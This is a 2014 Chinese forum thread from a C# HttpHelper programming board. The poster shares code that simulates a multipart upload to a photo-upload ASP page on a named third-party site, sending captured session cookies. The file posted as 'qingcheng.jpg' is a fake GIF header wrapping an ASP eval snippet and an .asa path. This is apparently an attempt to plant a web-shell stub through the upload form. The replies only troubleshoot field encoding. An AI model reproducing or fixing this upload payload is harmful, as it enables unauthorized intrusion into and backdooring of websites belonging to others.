http://www.sufeinet.com/plugin.php?id=keke_group

苏飞论坛

 找回密码
 马上注册

QQ登录

只需一步,快速开始

分布式系统框架(V2.0) 轻松承载百亿数据,千万流量!讨论专区 - 源码下载 - 官方教程

HttpHelper爬虫框架(V2.7-含.netcore) HttpHelper官方出品,爬虫框架讨论区 - 源码下载 - 在线测试和代码生成

HttpHelper爬虫类(V2.0) 开源的爬虫类,支持多种模式和属性 源码 - 代码生成器 - 讨论区 - 教程- 例子

查看: 3377|回复: 4

[HttpHelper] 求助!模拟上传出现问题。

[复制链接]
发表于 2014-7-27 17:43:19 | 显示全部楼层 |阅读模式
20金钱
本帖最后由 mogu_chulian 于 2014-7-27 17:51 编辑

这个是火狐抓包的结果
23231.jpg

可是我最后写完代码调试的时候提示500 服务器内部错误。 那个submit 底下的乱码是 中文 "上传"   是不是必须把那个加上。
下面是我代码。
大神们帮忙给看下哪儿不对了.. 谢谢啊~~


                    #region 变量
                    byte[] UploadBuffers = null;
                    byte[] UploadBuffers2 = null;
                    //-----------------------------110802965624754
                    string BoundStr = "-----------------------------110802965624754";
                    StringBuilder UploadBuf = new StringBuilder(); //头部
                    StringBuilder UploadBuf2 = new StringBuilder(); //尾部
                    #endregion
                    #region 头部数据
                    UploadBuf.Append(BoundStr + "\r\n");
                    UploadBuf.Append(@"Content-Disposition: form-data; name=""FileName""; filename=""qingcheng.jpg""" + "\r\n");
                    UploadBuf.Append("Content-Type: image/jpeg\r\n\r\n");
                    byte[] HeadBytes = Encoding.ASCII.GetBytes(UploadBuf.ToString());
                    #endregion
                    #region 图片数据
                    byte[] PicBytes = System.Text.Encoding.Default.GetBytes("GIF89A\r\n<%eval%>\r\nvalue==server.mappathcss.asa <BR>\r\n</form></body></html></body></html>mogu_xiezi\r\n\r\n\r\n");//ImageToBytesFromFilePath(@"C:\qingcheng.jpg"); //
                    #endregion
                    #region 尾部数据
                    UploadBuf2.Append("\r\n" + BoundStr + "\r\n");
                    UploadBuf2.Append(@"Content-Disposition: form-data; name=""Submit""" + "\r\n\r\n\r\n" + "上传");
                    UploadBuf2.Append("\r\n" + BoundStr + "\r\n");
                    UploadBuf2.Append(@"Content-Disposition: form-data; name=""PhotoUrlID""" + "\r\n\r\n\r\n" + "6" + "\r\n");
                    UploadBuf2.Append(BoundStr + "--");
                    byte[] TailBytes = Encoding.ASCII.GetBytes(UploadBuf2.ToString());
                    #endregion
                    #region 数组拼接
                    UploadBuffers = ComposeArrays(HeadBytes, PicBytes);
                    UploadBuffers2 = ComposeArrays(UploadBuffers, TailBytes);
                    string str2 = System.Text.Encoding.Default.GetString(UploadBuffers2);
                    MessageBox.Show(str2);
                    #endregion
                    #region 上传
                    item = new HttpItem()
                    {
                        URL = "http://tjmpmc.com/Upfile_Photo.asp",
                        Method = "POST",
                        Cookie = "ASPSESSIONIDQCQBQCTT=KFBBNCDCHGLFIIHPJAEHOBKP; ASPSESSIONIDSAQBRDTS=NGEJANFCELAPNLGDENMBPAMF",
                        ContentType = "multipart/form-data; boundary=" + BoundStr.Substring(2),
                        Referer = "",
                        PostDataType = PostDataType.Byte,
                        PostEncoding = Encoding.UTF8,
                        PostdataByte = UploadBuffers
                    };
                    result = Http.GetHtml(item);
                    MessageBox.Show(result.Html);

下面是调试的截图

5.jpg 6.jpg



1. 开通SVIP会员,免费下载本站所有源码,不限次数据,不限时间
2. 加官方QQ群,加官方微信群获取更多资源和帮助
3. 找站长苏飞做网站、商城、CRM、小程序、App、爬虫相关、项目外包等点这里
发表于 2014-7-27 19:18:28 | 显示全部楼层
http://www.sufeinet.com/thread-8073-1-1.html
http://www.sufeinet.com/thread-9495-1-1.html
看是否对你有帮助。
那个submit 底下的乱码是 中文 "上传"
你要看它是否编码了,肯定要加上的。
回复

使用道具 举报

 楼主| 发表于 2014-7-28 11:35:45 | 显示全部楼层
cload 发表于 2014-7-27 19:18
http://www.sufeinet.com/thread-8073-1-1.html
http://www.sufeinet.com/thread-9495-1-1.html
看是否对 ...

那个工具出错了呀!
QQ截图20140728113855.jpg

回复

使用道具 举报

发表于 2014-7-28 13:33:18 | 显示全部楼层
本帖最后由 cload 于 2014-7-28 13:58 编辑
mogu_chulian 发表于 2014-7-28 11:35
那个工具出错了呀!

你粘贴的东西格式不正确。参见http://www.sufeinet.com/thread-9495-1-1.html
7楼中的方法粘贴对应数据。


回复

使用道具 举报

 楼主| 发表于 2014-8-1 15:50:05 | 显示全部楼层
cload 发表于 2014-7-28 13:33
你粘贴的东西格式不正确。参见http://www.sufeinet.com/thread-9495-1-1.html
7楼中的方法粘贴对应数据 ...

哦哦 这样啊。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 马上注册

本版积分规则

QQ|手机版|小黑屋|手机版|联系我们|关于我们|广告合作|苏飞论坛 ( 豫ICP备18043678号-2)

GMT+8, 2024-5-18 08:07

© 2014-2021

快速回复 返回顶部 返回列表